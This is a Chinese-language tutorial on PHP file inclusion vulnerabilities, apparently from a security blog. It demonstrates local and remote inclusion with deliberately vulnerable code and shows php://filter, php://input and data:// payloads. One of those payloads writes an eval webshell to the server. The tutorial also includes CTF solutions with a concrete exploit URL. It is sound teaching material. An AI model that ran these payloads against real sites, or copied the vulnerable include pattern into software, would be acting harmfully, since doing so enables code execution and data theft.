文件操作之文件包含漏洞

文件包含漏洞原理,类型,危害以及演示。

原理

  • 在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
  • 文件包含漏洞的形成,需要满足两个条件:
  •  1、 include()等函数通过动态变量的方式引入需要包含的文件。
  •  2、用户能够控制这个动态变量。

这里要注意,不仅仅是php开发的有这种漏洞,而是很多脚本语言开发的都有这种漏洞,很多脚本语言都支持文件包含,所以都存在这种漏洞。

类型

  • 本地文件包含(LFI):
  •  能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
  • 远程文件包含:
    •  
  • 如果php.ini的配置选项allow_url_include为ON的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行任意命令。
  • 如果PHP的配置选项中,allow_url_include为ON的话,include和require这样的文件包含函数是可以加载远程文件的。远程文件漏洞,可以直接用来执行任意命令。

危害

  • 1、敏感信息泄露
  • 2、获取Webshell
  • 3、任意命令执行

演示

本地文件包含

我们写入以下代码在服务器进行运行:

test.php

<?php
$filename=$_GET['filename'];
include ( $filename);
?>

在同目录下创建1.txt,内容为:

<?php
	phpinfo();
?>

 

然后我们进行本地包含这个文件:

本地包含

 

可以看到我们的1.txt里面的内容被当作php代码进行执行了,这就是本地包含。

远程文件包含

我们在远程服务器写入readme.txt 内容:

<?php
	phpinfo();
?>

远程包含

进行包含,也成功执行相关代码。

有限制和无限制区别

无限制包含

什么叫无限制包含,就是你包含什么文件都可以,只要它存在,没有限制。

我们上面演示的都是无限制包含,这里着重介绍有限制包含。

有限制包含

先上test.php代码:

<?php

$filename=$_GET['filename'];
include($filename.".html");

?>

这个代码就是比如你包含1.txt 他包含时候会自动添加一个.html后缀,让你包含的文件变成1.txt.html 从而找不到这个文件,导致包含失败。

有限值包含

这种方式在php5.2之前是可以用%00 与操作系统文件名最大值来绕过的

在windows256字节,linux下4096字节时会达到最大值

但是目前我进行实验时,这种方式以及无法绕过了,这里先写上,以后有绕过思路再出文章。

协议流的配合

PHP伪协议

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;

allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

php

php伪协议可以和文件包含漏洞配合,从而达到想不到效果。

filter

php://filter参数详解

参数                                                                        描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

 

可用的过滤器列表(4类)

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

php://filter/read=convert.base64-encode/resource=[文件名]

这表示以base64编码把某个文件进行显示

filter0

我们拿到test.php 经过base64编码加密的内容,然后去解密,得到test.php源码

filter1

input

input配合文件包含可以实现任意代码执行。

1
2
3
4
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

input0

写入一句话木马用法

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

input1

 

data

数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

1、data://text/plain

data0

2、data://text/plain;base64

这个表示是用base64加密后的语句

data1

不难理解。

关于php还有很多伪协议,这里就介绍这三个,别的还有但是不常用,基本就用这三个。

CTF赛题

南邮杯CTF

ctf0

打开题目可以看到url里面有一个文件包含,找了找就两个页面,一个index.php 一个 test.php

于是尝试读取index.php 获得base64加密后的编码,解密后拿到flag

ctf2攻防世界ctf

他对read字符进行检测了,我们不用encode-base64 ,read去读取

而是换成utf-7转码即可

ctf

payload:

http://61.147.171.105:50264/index.php?filename=php://filter/convert.iconv.UTF7.UTF7/resource=flag.php

修复方案

  • waf防护软件
  • 固定后缀有限制类型
  • 包含固定文件
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论